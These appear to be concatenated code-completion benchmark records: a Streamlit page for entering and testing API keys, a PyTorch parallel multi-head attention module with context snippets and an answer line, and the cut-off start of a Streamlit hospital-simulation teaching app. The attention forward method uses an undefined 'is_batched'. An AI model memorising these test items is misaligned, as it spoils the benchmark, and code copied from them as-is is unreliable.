st.info(f"{opt3_readable}") st.write('---') printed_options.add((opt2_readable, opt3_readable)) with columns[int(ind_opt1.split('-')[1]) + 2]: if result: st.success(f"Test Passed") else: st.error(f"Test Failed") st.write('---') # success_count = sum(1 for result in test_results.values() if result) # failure_count = len(test_results) - success_count # proportional_rain("🥇", success_count, "💔", failure_count, font_size=72, falling_speed=5, animation_length="infinite") rain_emojis(test_results) def add_emoji_delay(): time.sleep(0.3) def rain_emojis(test_results): # test_results = { # 'test1': True, # Test passed # 'test2': True, # Test passed # 'test3': True, # Test passed # 'test4': False, # Test failed # 'test5': False, # Test failed # 'test6': False, # Test failed # 'test7': False, # Test failed # 'test8': False, # Test failed # 'test9': False, # Test failed # 'test10': False, # Test failed # } success_emojis = ["🥇", "🏆", "🍾", "🙌"] failure_emojis = ["💔", "😭"] success_count = sum(1 for result in test_results.values() if result) failure_count = len(test_results) - success_count chosen_emoji = random.choice(success_emojis) for _ in range(success_count): rain( emoji=chosen_emoji, font_size=72, falling_speed=4, animation_length=2, ) add_emoji_delay() chosen_emoji = random.choice(failure_emojis) for _ in range(failure_count): rain( emoji=chosen_emoji, font_size=72, falling_speed=5, animation_length=1, ) add_emoji_delay() def get_prompt_versions(LLM_version): yaml_files = [f for f in os.listdir(os.path.join(st.session_state.dir_home, 'custom_prompts')) if f.endswith('.yaml')] if LLM_version in ["gpt-4-1106-preview", "GPT 4", "GPT 3.5", "Azure GPT 4", "Azure GPT 3.5"]: versions = ["Version 1", "Version 1 No Domain Knowledge", "Version 2"] return (versions + yaml_files, "Version 2") elif LLM_version in ["PaLM 2",]: versions = ["Version 1 PaLM 2", "Version 1 PaLM 2 No Domain Knowledge", "Version 2 PaLM 2"] return (versions + yaml_files, "Version 2 PaLM 2") else: # Handle other cases or raise an error return (yaml_files, None) def get_private_file(): dir_home = os.path.dirname(os.path.dirname(__file__)) path_cfg_private = os.path.join(dir_home, 'PRIVATE_DATA.yaml') return get_cfg_from_full_path(path_cfg_private) def create_space_saver(): st.subheader("Space Saving Options") col_ss_1, col_ss_2 = st.columns([2,2]) with col_ss_1: st.write("Several folders are created and populated with data during the VoucherVision transcription process.") st.write("Below are several options that will allow you to automatically delete temporary files that you may not need for everyday operations.") st.write("VoucherVision creates the following folders. Folders marked with a :star: are required if you want to use VoucherVisionEditor for quality control.") st.write("`../[Run Name]/Archival_Components`") st.write("`../[Run Name]/Config_File`") st.write("`../[Run Name]/Cropped_Images` :star:") st.write("`../[Run Name]/Logs`") st.write("`../[Run Name]/Original_Images` :star:") st.write("`../[Run Name]/Transcription` :star:") with col_ss_2: st.session_state.config['leafmachine']['project']['delete_temps_keep_VVE'] = st.checkbox("Delete Temporary Files (KEEP files required for VoucherVisionEditor)", st.session_state.config['leafmachine']['project'].get('delete_temps_keep_VVE', False)) st.session_state.config['leafmachine']['project']['delete_all_temps'] = st.checkbox("Keep only the final transcription file", st.session_state.config['leafmachine']['project'].get('delete_all_temps', False),help="*WARNING:* This limits your ability to do quality assurance. This will delete all folders created by VoucherVision, leaving only the `transcription.xlsx` file.") # def create_private_file(): # st.session_state.proceed_to_main = False # if st.session_state.private_file: # cfg_private = get_private_file() # create_private_file_0(cfg_private) # else: # st.title("VoucherVision") # create_private_file_0() def create_private_file(): st.session_state.proceed_to_main = False st.title("VoucherVision") col_private,_= st.columns([12,2]) if st.session_state.private_file: cfg_private = get_private_file() else: cfg_private = {} cfg_private['openai'] = {} cfg_private['openai']['OPENAI_API_KEY'] ='' cfg_private['openai_azure'] = {} cfg_private['openai_azure']['openai_api_key'] = '' cfg_private['openai_azure']['api_version'] = '' cfg_private['openai_azure']['openai_api_base'] ='' cfg_private['openai_azure']['openai_organization'] ='' cfg_private['openai_azure']['openai_api_type'] ='' cfg_private['google_cloud'] = {} cfg_private['google_cloud']['path_json_file'] ='' cfg_private['google_palm'] = {} cfg_private['google_palm']['google_palm_api'] ='' with col_private: st.header("Set API keys") st.info("***Note:*** There is a known bug with tabs in Streamlit. If you update an input field it may take you back to the 'Project Settings' tab. Changes that you made are saved, it's just an annoying glitch. We are aware of this issue and will fix it as soon as we can.") st.warning("To commit changes to API keys you must press the 'Set API Keys' button at the bottom of the page.") st.write("Before using VoucherVision you must set your API keys. All keys are stored locally on your computer and are never made public.") st.write("API keys are stored in `../VoucherVision/PRIVATE_DATA.yaml`.") st.write("Deleting this file will allow you to reset API keys. Alternatively, you can edit the keys in the user interface.") st.write("Leave keys blank if you do not intend to use that service.") st.write("---") st.subheader("Google Vision (*Required*)") st.markdown("VoucherVision currently uses [Google Vision API](https://cloud.google.com/vision/docs/ocr) for OCR. Generating an API key for this is more involved than the others. [Please carefully follow the instructions outlined here to create and setup your account.](https://cloud.google.com/vision/docs/setup) ") st.markdown(""" Once your account is created, [visit this page](https://console.cloud.google.com) and create a project. Then follow these instructions: - **Select your Project**: If you have multiple projects, ensure you select the one where you've enabled the Vision API. - **Open the Navigation Menu**: Click on the hamburger menu (three horizontal lines) in the top left corner. - **Go to IAM & Admin**: In the navigation pane, hover over "IAM & Admin" and then click on "Service accounts." - **Locate Your Service Account**: Find the service account for which you wish to download the JSON key. If you haven't created a service account yet, you'll need to do so by clicking the "CREATE SERVICE ACCOUNT" button at the top. - **Download the JSON Key**: - Click on the three dots (actions menu) on the right side of your service account name. - Select "Manage keys." - In the pop-up window, click on the "ADD KEY" button and select "JSON." - The JSON key file will automatically be downloaded to your computer. - **Store Safely**: This file contains sensitive data that can be used to authenticate and bill your Google Cloud account. Never commit it to public repositories or expose it in any way. Always keep it safe and secure. """) with st.container(): c_in_ocr, c_button_ocr = st.columns([10,2]) with c_in_ocr: google_vision = st.text_input(label = 'Full path to Google Cloud JSON API key file', value = cfg_private['google_cloud'].get('path_json_file', ''), placeholder = 'e.g. C:/Documents/Secret_Files/google_API/application_default_credentials.json', help ="This API Key is in the form of a JSON file. Please save the JSON file in a safe directory. DO NOT store the JSON key inside of the VoucherVision directory.", type='password',key='924857298734590283750932809238') with c_button_ocr: st.empty() st.write("---") st.subheader("OpenAI") st.markdown("API key for first-party OpenAI API. Create an account with OpenAI [here](https://platform.openai.com/signup), then create an API key [here](https://platform.openai.com/account/api-keys).") with st.container(): c_in_openai, c_button_openai = st.columns([10,2]) with c_in_openai: openai_api_key = st.text_input("openai_api_key", cfg_private['openai'].get('OPENAI_API_KEY', ''), help='The actual API key. Likely to be a string of 2 character, a dash, and then a 48-character string: sk-XXXXXXXX...', placeholder = 'e.g. sk-XXXXXXXX...', type='password') with c_button_openai: st.empty() st.write("---") st.subheader("OpenAI - Azure") st.markdown("This version OpenAI relies on Azure servers directly as is intended for private enterprise instances of OpenAI's services, such as [UM-GPT](https://its.umich.edu/computing/ai). Administrators will provide you with the following information.") azure_openai_api_version = st.text_input("azure_openai_api_version", cfg_private['openai_azure'].get('api_version', ''), help='API Version e.g. "2023-05-15"', placeholder = 'e.g. 2023-05-15', type='password') azure_openai_api_key = st.text_input("azure_openai_api_key", cfg_private['openai_azure'].get('openai_api_key', ''), help='The actual API key. Likely to be a 32-character string', placeholder = 'e.g. 12333333333333333333333333333332', type='password') azure_openai_api_base = st.text_input("azure_openai_api_base", cfg_private['openai_azure'].get('openai_api_base', ''), help='The base url for the API e.g. "https://api.umgpt.umich.edu/azure-openai-api"', placeholder = 'e.g. https://api.umgpt.umich.edu/azure-openai-api', type='password') azure_openai_organization = st.text_input("azure_openai_organization", cfg_private['openai_azure'].get('openai_organization', ''), help='Your organization code. Likely a short string', placeholder = 'e.g. 123456', type='password') azure_openai_api_type = st.text_input("azure_openai_api_type", cfg_private['openai_azure'].get('openai_api_type', ''), help='The API type. Typically "azure"', placeholder = 'e.g. azure', type='password') with st.container(): c_in_azure, c_button_azure = st.columns([10,2]) with c_button_azure: st.empty() st.write("---") st.subheader("Google PaLM 2") st.markdown('Follow these [instructions](https://developers.generativeai.google/tutorials/setup) to generate an API key for PaLM 2. You may need to also activate an account with [MakerSuite](https://makersuite.google.com/app/apikey) and enable "early access."') with st.container(): c_in_palm, c_button_palm = st.columns([10,2]) with c_in_palm: google_palm = st.text_input("Google PaLM 2 API Key", cfg_private['google_palm'].get('google_palm_api', ''), help='The MakerSuite API key e.g. a 32-character string', placeholder='e.g. SATgthsykuE64FgrrrrEervr3S4455t_geyDeGq', type='password') with st.container(): with c_button_ocr: st.write("##") st.button("Test OCR", on_click=test_API, args=['google_vision',c_in_ocr, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_openai: st.write("##") st.button("Test OpenAI", on_click=test_API, args=['openai',c_in_openai, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_azure: st.write("##") st.button("Test Azure OpenAI", on_click=test_API, args=['azure_openai',c_in_azure, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_palm: st.write("##") st.button("Test PaLM 2", on_click=test_API, args=['palm',c_in_palm, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) st.button("Set API Keys",type='primary', on_click=save_changes_to_API_keys, args=[cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) if st.button('Proceed to VoucherVision'): st.session_state.proceed_to_private = False st.session_state.proceed_to_main = True def test_API(api, message_loc, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm): # Save the API keys save_changes_to_API_keys(cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key,azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm) with st.spinner('Performing validation checks...'): if api == 'google_vision': print("*** Google Vision OCR API Key ***") try: demo_config_path = os.path.join(st.session_state.dir_home,'demo','validation_configs','google_vision_ocr_test.yaml') demo_images_path = os.path.join(st.session_state.dir_home, 'demo', 'demo_images') demo_out_path = os.path.join(st.session_state.dir_home, 'demo', 'demo_output','run_name') create_google_ocr_yaml_config(demo_config_path, demo_images_path, demo_out_path) voucher_vision_OCR_test(demo_config_path, st.session_state.dir_home, None, demo_images_path) with message_loc: st.success("Google Vision OCR API Key Valid :white_check_mark:") return True except Exception as e: with message_loc: st.error(f"Google Vision OCR API Key Failed! {e}") return False elif api == 'openai': print("*** OpenAI API Key ***") try: if run_api_tests('openai'): with message_loc: st.success("OpenAI API Key Valid :white_check_mark:") else: with message_loc: st.error("OpenAI API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"OpenAI API Key Failed:exclamation: {e}") elif api == 'azure_openai': print("*** Azure OpenAI API Key ***") try: if run_api_tests('azure_openai'): with message_loc: st.success("Azure OpenAI API Key Valid :white_check_mark:") else: with message_loc: st.error(f"Azure OpenAI API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"Azure OpenAI API Key Failed:exclamation: {e}") elif api == 'palm': print("*** Google PaLM 2 API Key ***") try: if run_api_tests('palm'): with message_loc: st.success("Google PaLM 2 API Key Valid :white_check_mark:") else: with message_loc: st.error("Google PaLM 2 API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"Google PaLM 2 API Key Failed:exclamation: {e}") def save_changes_to_API_keys(cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm): # Update the configuration dictionary with the new values cfg_private['openai']['OPENAI_API_KEY'] = openai_api_key cfg_private['openai_azure']['api_version'] = azure_openai_api_version cfg_private['openai_azure']['openai_api_key'] = azure_openai_api_key cfg_private['openai_azure']['openai_api_base'] = azure_openai_api_base cfg_private['openai_azure']['openai_organization'] = azure_openai_organization cfg_private['openai_azure']['openai_api_type'] = azure_openai_api_type cfg_private['google_cloud']['path_json_file'] = google_vision cfg_private['google_palm']['google_palm_api'] = google_palm # Call the function to write the updated configuration to the YAML file
write_config_file(cfg_private, st.session_state.dir_home, filename="PRIVATE_DATA.yaml")
0
2023-10-30 23:25:20+00:00
12k
wdlctc/rtp
rtp/inplace/module/attention.py
[ { "identifier": "multi_head_attention_forward", "path": "rtp/inplace/module/functional.py", "snippet": "def multi_head_attention_forward(\n query: Tensor,\n key: Tensor,\n value: Tensor,\n embed_dim_to_check: int,\n num_heads: int,\n in_proj_weight: Optional[Tensor],\n in_proj_bias:...
from typing import Callable, Optional, Tuple, Any, List, Union from .functional import multi_head_attention_forward from torch.nn.parameter import Parameter from torch import Tensor from .utils import divide_and_check_no_remainder, affine_weight, affine_weight_attention from .collectives import gather_from_model_parallel_region, reduce_from_model_parallel_region, shift_to_model_parallel_region, copy_to_model_parallel_region from torch.nn.modules.linear import NonDynamicallyQuantizableLinear from .collectives import set_full_param, set_full_param2, allign_storage, free_storage, _WeightParallelRegion_test, _WeightParallelRegion_attention import math import torch import torch.nn as nn import torch.nn.functional as F import torch.nn.init as init
9,014
self.bias_k, self.bias_v, self.add_zero_attn, self.dropout, self.out_proj.weight, self.out_proj.bias, training=self.training, key_padding_mask=key_padding_mask, need_weights=need_weights, attn_mask=attn_mask, average_attn_weights=average_attn_weights, is_causal=is_causal, E_div=self.world_size) if self.batch_first and is_batched: return attn_output.transpose(1, 0), attn_output_weights else: return attn_output, attn_output_weights class ParallelMultiheadAttention(torch.nn.Module): __constants__ = ['batch_first'] bias_k: Optional[torch.Tensor] bias_v: Optional[torch.Tensor] def __init__(self, embed_dim, num_heads, world_size, rank, dropout=0., bias=True, add_bias_kv=False, add_zero_attn=False, kdim=None, vdim=None, batch_first=False, device=None, dtype=None, MultiheadAttention_layer=None) -> None: if embed_dim <= 0 or num_heads <= 0: raise ValueError( f"embed_dim and num_heads must be greater than 0," f" got embed_dim={embed_dim} and num_heads={num_heads} instead" ) factory_kwargs = {'device': device, 'dtype': dtype} super(ParallelMultiheadAttention, self).__init__() self.embed_dim = embed_dim self.kdim = kdim if kdim is not None else embed_dim self.vdim = vdim if vdim is not None else embed_dim self._qkv_same_embed_dim = self.kdim == embed_dim and self.vdim == embed_dim self.num_heads = num_heads self.dropout = dropout self.batch_first = batch_first self.head_dim = embed_dim // num_heads assert self.head_dim * num_heads == self.embed_dim, "embed_dim must be divisible by num_heads" self.world_size = world_size self.rank = rank self.num_heads_per_partition = divide_and_check_no_remainder(self.num_heads, self.world_size) self.embed_dim_per_partition = divide_and_check_no_remainder(self.embed_dim, self.world_size) self.MultiheadAttention = SubParallelMultiheadAttention(embed_dim, num_heads, world_size, rank, dropout, bias, add_bias_kv, add_zero_attn, kdim, vdim, batch_first, device, dtype) self.MultiheadAttention.affine_weight(MultiheadAttention_layer) def forward( self, query: Tensor, key: Tensor, value: Tensor, key_padding_mask: Optional[Tensor] = None, need_weights: bool = True, attn_mask: Optional[Tensor] = None, average_attn_weights: bool = True, is_causal : bool = False ) -> Tuple[Tensor, Optional[Tensor]]: query = copy_to_model_parallel_region(query) key = query value = query attn_output, attn_output_weights = self.MultiheadAttention(query, key, value, key_padding_mask, need_weights, attn_mask, average_attn_weights, is_causal) attn_output = reduce_from_model_parallel_region(attn_output) if self.batch_first and is_batched: return attn_output.transpose(1, 0), attn_output_weights else: return attn_output, attn_output_weights class WeightParallelMultiheadAttention(torch.nn.Module): __constants__ = ['batch_first'] bias_k: Optional[torch.Tensor] bias_v: Optional[torch.Tensor] def __init__(self, embed_dim, num_heads, world_size, rank, dropout=0., bias=True, add_bias_kv=False, add_zero_attn=False, kdim=None, vdim=None, batch_first=False, device=None, dtype=None, MultiheadAttention_layer=None) -> None: super(WeightParallelMultiheadAttention, self).__init__() self.world_size = world_size self.rank = rank self.layers = [] for i in range(self.world_size): MultiheadAttention = SubParallelMultiheadAttention(embed_dim, num_heads, world_size, rank, dropout, bias, add_bias_kv, add_zero_attn, kdim, vdim, batch_first, device, dtype,) if i == 0:
class SubParallelMultiheadAttention(torch.nn.Module): __constants__ = ['batch_first'] bias_k: Optional[torch.Tensor] bias_v: Optional[torch.Tensor] def __init__(self, embed_dim, num_heads, world_size, rank, dropout=0., bias=True, add_bias_kv=False, add_zero_attn=False, kdim=None, vdim=None, batch_first=False, device=None, dtype=None, MultiheadAttention=None, empty_init=False) -> None: if embed_dim <= 0 or num_heads <= 0: raise ValueError( f"embed_dim and num_heads must be greater than 0," f" got embed_dim={embed_dim} and num_heads={num_heads} instead" ) factory_kwargs = {'device': device, 'dtype': dtype} super(SubParallelMultiheadAttention, self).__init__() self.embed_dim = embed_dim self.kdim = kdim if kdim is not None else embed_dim self.vdim = vdim if vdim is not None else embed_dim self._qkv_same_embed_dim = self.kdim == embed_dim and self.vdim == embed_dim self.num_heads = num_heads self.dropout = dropout self.batch_first = batch_first self.head_dim = embed_dim // num_heads assert self.head_dim * num_heads == self.embed_dim, "embed_dim must be divisible by num_heads" self.world_size = world_size self.rank = rank self.num_heads_per_partition = divide_and_check_no_remainder(self.num_heads, self.world_size) self.embed_dim_per_partition = divide_and_check_no_remainder(self.embed_dim, self.world_size) embed_dim_per_partition = self.embed_dim_per_partition if not self._qkv_same_embed_dim: self.q_proj_weight = Parameter(torch.empty((embed_dim_per_partition, embed_dim), **factory_kwargs)) self.k_proj_weight = Parameter(torch.empty((embed_dim_per_partition, self.kdim), **factory_kwargs)) self.v_proj_weight = Parameter(torch.empty((embed_dim_per_partition, self.vdim), **factory_kwargs)) self.register_parameter('in_proj_weight', None) else: self.in_proj_weight = Parameter(torch.empty((3 * embed_dim_per_partition, embed_dim), **factory_kwargs)) self.register_parameter('q_proj_weight', None) self.register_parameter('k_proj_weight', None) self.register_parameter('v_proj_weight', None) self.bias = bias if bias: self.in_proj_bias = Parameter(torch.empty((3 * embed_dim_per_partition), **factory_kwargs)) else: self.register_parameter('in_proj_bias', None) self.out_proj = NonDynamicallyQuantizableLinear(embed_dim_per_partition, embed_dim, bias=bias, **factory_kwargs)\ if add_bias_kv: self.bias_k = Parameter(torch.empty((1, 1, embed_dim), **factory_kwargs)) self.bias_v = Parameter(torch.empty((1, 1, embed_dim), **factory_kwargs)) else: self.bias_k = self.bias_v = None self.add_zero_attn = add_zero_attn def affine_weight(self, MultiheadAttention): if MultiheadAttention is not None: if not self._qkv_same_embed_dim: affine_weight(self.q_proj_weight, MultiheadAttention.q_proj_weight, self.embed_dim_per_partition, 0, self.world_size, self.rank) affine_weight(self.k_proj_weight, MultiheadAttention.k_proj_weight, self.embed_dim_per_partition, 0, self.world_size, self.rank) affine_weight(self.v_proj_weight, MultiheadAttention.v_proj_weight, self.embed_dim_per_partition, 0, self.world_size, self.rank) else: affine_weight_attention(self.in_proj_weight, MultiheadAttention.in_proj_weight, [self.rank, self.rank+self.world_size, self.rank+self.world_size*2], self.embed_dim_per_partition, 0, self.world_size, self.rank) if self.bias: affine_weight_attention(self.in_proj_bias, MultiheadAttention.in_proj_bias, [self.rank, self.rank+self.world_size, self.rank+self.world_size*2], self.embed_dim_per_partition, 0, self.world_size, self.rank) affine_weight(self.out_proj.weight, MultiheadAttention.out_proj.weight, self.embed_dim_per_partition, 1, self.world_size, self.rank) if self.bias: self.out_proj.bias.data.copy_(MultiheadAttention.out_proj.bias.data) self.out_proj.bias.data.div_(self.world_size) def forward( self, query: Tensor, key: Tensor, value: Tensor, key_padding_mask: Optional[Tensor] = None, need_weights: bool = True, attn_mask: Optional[Tensor] = None, average_attn_weights: bool = True, is_causal : bool = False ) -> Tuple[Tensor, Optional[Tensor]]: query_parallel = query key_parallel = key value_parallel = value is_batched = query.dim() == 3 key_padding_mask = F._canonical_mask( mask=key_padding_mask, mask_name='key_padding_mask', other_type=F._none_or_dtype(attn_mask), other_name='attn_mask', target_type=query.dtype, ) attn_mask = F._canonical_mask( mask=attn_mask, mask_name='attn_mask', other_type=None, other_name="", target_type=query.dtype, ) if self.batch_first and is_batched: # make sure that the transpose op does not affect the "is" property if key is value: if query is key: query = key = value = query.transpose(1, 0) else: query, key = [x.transpose(1, 0) for x in (query, key)] value = key else: query, key, value = [x.transpose(1, 0) for x in (query, key, value)] if not self._qkv_same_embed_dim: attn_output, attn_output_weights = multi_head_attention_forward( query, key, value, self.embed_dim_per_partition, self.num_heads_per_partition, self.in_proj_weight, self.in_proj_bias, self.bias_k, self.bias_v, self.add_zero_attn, self.dropout, self.out_proj.weight, self.out_proj.bias, training=self.training, key_padding_mask=key_padding_mask, need_weights=need_weights, attn_mask=attn_mask, use_separate_proj_weight=True, q_proj_weight=self.q_proj_weight, k_proj_weight=self.k_proj_weight, v_proj_weight=self.v_proj_weight, average_attn_weights=average_attn_weights, is_causal=is_causal, E_div=self.world_size) else: attn_output, attn_output_weights = multi_head_attention_forward( query, key, value, self.embed_dim_per_partition, self.num_heads_per_partition, self.in_proj_weight, self.in_proj_bias, self.bias_k, self.bias_v, self.add_zero_attn, self.dropout, self.out_proj.weight, self.out_proj.bias, training=self.training, key_padding_mask=key_padding_mask, need_weights=need_weights, attn_mask=attn_mask, average_attn_weights=average_attn_weights, is_causal=is_causal, E_div=self.world_size) if self.batch_first and is_batched: return attn_output.transpose(1, 0), attn_output_weights else: return attn_output, attn_output_weights class ParallelMultiheadAttention(torch.nn.Module): __constants__ = ['batch_first'] bias_k: Optional[torch.Tensor] bias_v: Optional[torch.Tensor] def __init__(self, embed_dim, num_heads, world_size, rank, dropout=0., bias=True, add_bias_kv=False, add_zero_attn=False, kdim=None, vdim=None, batch_first=False, device=None, dtype=None, MultiheadAttention_layer=None) -> None: if embed_dim <= 0 or num_heads <= 0: raise ValueError( f"embed_dim and num_heads must be greater than 0," f" got embed_dim={embed_dim} and num_heads={num_heads} instead" ) factory_kwargs = {'device': device, 'dtype': dtype} super(ParallelMultiheadAttention, self).__init__() self.embed_dim = embed_dim self.kdim = kdim if kdim is not None else embed_dim self.vdim = vdim if vdim is not None else embed_dim self._qkv_same_embed_dim = self.kdim == embed_dim and self.vdim == embed_dim self.num_heads = num_heads self.dropout = dropout self.batch_first = batch_first self.head_dim = embed_dim // num_heads assert self.head_dim * num_heads == self.embed_dim, "embed_dim must be divisible by num_heads" self.world_size = world_size self.rank = rank self.num_heads_per_partition = divide_and_check_no_remainder(self.num_heads, self.world_size) self.embed_dim_per_partition = divide_and_check_no_remainder(self.embed_dim, self.world_size) self.MultiheadAttention = SubParallelMultiheadAttention(embed_dim, num_heads, world_size, rank, dropout, bias, add_bias_kv, add_zero_attn, kdim, vdim, batch_first, device, dtype) self.MultiheadAttention.affine_weight(MultiheadAttention_layer) def forward( self, query: Tensor, key: Tensor, value: Tensor, key_padding_mask: Optional[Tensor] = None, need_weights: bool = True, attn_mask: Optional[Tensor] = None, average_attn_weights: bool = True, is_causal : bool = False ) -> Tuple[Tensor, Optional[Tensor]]: query = copy_to_model_parallel_region(query) key = query value = query attn_output, attn_output_weights = self.MultiheadAttention(query, key, value, key_padding_mask, need_weights, attn_mask, average_attn_weights, is_causal) attn_output = reduce_from_model_parallel_region(attn_output) if self.batch_first and is_batched: return attn_output.transpose(1, 0), attn_output_weights else: return attn_output, attn_output_weights class WeightParallelMultiheadAttention(torch.nn.Module): __constants__ = ['batch_first'] bias_k: Optional[torch.Tensor] bias_v: Optional[torch.Tensor] def __init__(self, embed_dim, num_heads, world_size, rank, dropout=0., bias=True, add_bias_kv=False, add_zero_attn=False, kdim=None, vdim=None, batch_first=False, device=None, dtype=None, MultiheadAttention_layer=None) -> None: super(WeightParallelMultiheadAttention, self).__init__() self.world_size = world_size self.rank = rank self.layers = [] for i in range(self.world_size): MultiheadAttention = SubParallelMultiheadAttention(embed_dim, num_heads, world_size, rank, dropout, bias, add_bias_kv, add_zero_attn, kdim, vdim, batch_first, device, dtype,) if i == 0:
set_full_param(MultiheadAttention, device, dtype)
8
2023-10-29 23:19:44+00:00
12k
hsma-programme/Teaching_DES_Concepts_Streamlit
pages/3_🩹_Adding_an_Optional_Step.py
[ { "identifier": "reshape_for_animations", "path": "output_animation_functions.py", "snippet": "def reshape_for_animations(full_event_log, every_x_minutes=10):\n minute_dfs = list()\n patient_dfs = list()\n\n for rep in range(1, max(full_event_log['rep'])+1):\n # print(\"Rep {}\".format(r...
import asyncio import gc import pandas as pd import plotly.express as px import plotly.graph_objects as go import streamlit as st from output_animation_functions import reshape_for_animations,animate_activity_log from helper_functions import add_logo, mermaid, center_running from model_classes import Scenario, multiple_replications
10,775
seed = st.slider("🎲 Set a random number for the computer to start from", 1, 1000, step=1, value=42) n_reps = st.slider("🔁 How many times should the simulation run?", 1, 30, step=1, value=6) run_time_days = st.slider("🗓️ How many days should we run the simulation for each time?", 1, 40, step=1, value=10) mean_arrivals_per_day = st.slider("🧍 How many patients should arrive per day on average?", 10, 300, step=5, value=140) # A user must press a streamlit button to run the model button_run_pressed = st.button("Run simulation") args = Scenario( random_number_set=seed, n_exam=nurses_advice, n_cubicles_1=nurses_treat, override_arrival_rate=True, manual_arrival_rate=60/(mean_arrivals_per_day/24), model="simple_with_branch", exam_mean=consult_time_exam, exam_var=consult_time_sd_exam, non_trauma_treat_mean=consult_time_treat, non_trauma_treat_var=consult_time_sd_treat, non_trauma_treat_p=treat_p ) if button_run_pressed: # add a spinner and then display success box with st.spinner('Simulating the minor injuries unit...'): await asyncio.sleep(0.1) # run multiple replications of experment detailed_outputs = multiple_replications( args, n_reps=n_reps, rc_period=run_time_days*60*24, return_detailed_logs=True ) results = pd.concat([detailed_outputs[i]['results']['summary_df'].assign(rep= i+1) for i in range(n_reps)]).set_index('rep') full_event_log = pd.concat([detailed_outputs[i]['results']['full_event_log'].assign(rep= i+1) for i in range(n_reps)]) del detailed_outputs gc.collect() attribute_count_df = full_event_log[(full_event_log["event"]=="does_not_require_treatment")| (full_event_log["event"]=="requires_treatment")][['patient','event','rep']].groupby(['rep','event']).count() animation_dfs_log = reshape_for_animations( full_event_log=full_event_log[ (full_event_log['rep']==1) & ((full_event_log['event_type']=='queue') | (full_event_log['event_type']=='resource_use') | (full_event_log['event_type']=='arrival_departure')) & # Limit to first 5 days (full_event_log['time'] <= 60*24*5) ], every_x_minutes=5 )['full_patient_df'] del full_event_log gc.collect() if button_run_pressed: tab1, tab2, tab3 = st.tabs( ["Animated Log", "Simple Graphs", "Advanced Graphs"] ) # st.markdown(""" # You can click on the three tabs below ("Animated Log", "Simple Graphs", and "Advanced Graphs") to view different outputs from the model. # """) with tab1: st.subheader("Animated Model Output") st.markdown( """ The plot below shows a snapshot every 5 minutes of the position of everyone in our emergency department model. The buttons to the left of the slider below the plot can be used to start and stop the animation. Clicking on the bar below the plot and dragging your cursor to the left or right allows you to rapidly jump through to a different time in the simulation. Only the first replication of the simulation is shown. """ ) event_position_df = pd.DataFrame([ {'event': 'arrival', 'x': 50, 'y': 300, 'label': "Arrival" }, # Examination {'event': 'examination_wait_begins', 'x': 275, 'y': 360, 'label': "Waiting for Examination" }, {'event': 'examination_begins', 'x': 275, 'y': 310, 'resource':'n_exam', 'label': "Being Examined" }, # Treatment (optional step) {'event': 'treatment_wait_begins', 'x': 430, 'y': 110, 'label': "Waiting for Treatment" }, {'event': 'treatment_begins', 'x': 430, 'y': 70, 'resource':'n_cubicles_1', 'label': "Being Treated" }, {'event': 'exit', 'x': 450, 'y': 220, 'label': "Exit"}, ]) with st.spinner('Generating the animated patient log...'): # st.write(animation_dfs_log[animation_dfs_log["minute"]<=60*24*5])
''' A Streamlit application based on Monks and Allows users to interact with an increasingly more complex treatment simulation ''' st.set_page_config( page_title="Adding an Optional Step", layout="wide", initial_sidebar_state="expanded", ) add_logo() center_running() with open("style.css") as css: st.markdown( f'<style>{css.read()}</style>' , unsafe_allow_html= True) ## We add in a title for our web app's page st.title("Discrete Event Simulation Playground") st.subheader("Making Patients Behave Differently: Adding in an Optional Step") gc.collect() # tab1, tab2, tab3 = st.tabs(["Introduction", "Exercise", "Playground"]) tab1, tab2, tab3 = st.tabs(["Playground", "Exercise", "Information"]) with tab3: st.markdown(""" Now, it's not as simple as all of our patients being looked at by a nurse and then sent on their merry way. Some of them - but not all of them - may require another step where they undergo some treatment. So for some people, their pathway looks like this: """) mermaid(height=225, code= """ %%{ init: { 'flowchart': { 'curve': 'step' } } }%% %%{ init: { 'theme': 'base', 'themeVariables': {'lineColor': '#b4b4b4'} } }%% flowchart LR A[Arrival]----> B[Advice] B -.-> F([Nurse/Cubicle]) F -.-> B B----> C[Treatment] C -.-> G([Nurse/Cubicle]) G -.-> C C ----> Z[Discharge] classDef default font-size:18pt,font-family:lexend; linkStyle default stroke:white; """ ) st.markdown("But for other simpler cases, their pathway still looks like this!") mermaid(height=225, code= """ %%{ init: { 'flowchart': { 'curve': 'step' } } }%% %%{ init: { 'theme': 'base', 'themeVariables': {'lineColor': '#b4b4b4'} } }%% flowchart LR A[Arrival]----> B[Advice] B -.-> F([Nurse/Cubicle]) F -.-> B B ----> Z[Discharge] classDef default font-size:18pt,font-family:lexend; linkStyle default stroke:white; """ ) st.markdown( """ So how do we ensure that some of our patients go down one pathway and not the other? You guessed it - the answer is sampling from a distribution again! We can tell the computer the rough split we'd like to say - let's say 30% of our patients need the treatment step, but the other 70% will And as before, there will be a bit of randomness, just like in the real world. In one simulation, we might end up with a 69/31 split, and the next might be 72/28, but it will always be around the expected split we've asked for. """ ) st.markdown( """ We can think of our pathway as looking like this overall: """ ) mermaid(height=225, code= """ %%{ init: { 'flowchart': { 'curve': 'step' } } }%% %%{ init: { 'theme': 'base', 'themeVariables': {'lineColor': '#b4b4b4'} } }%% flowchart LR A[Arrival]--> 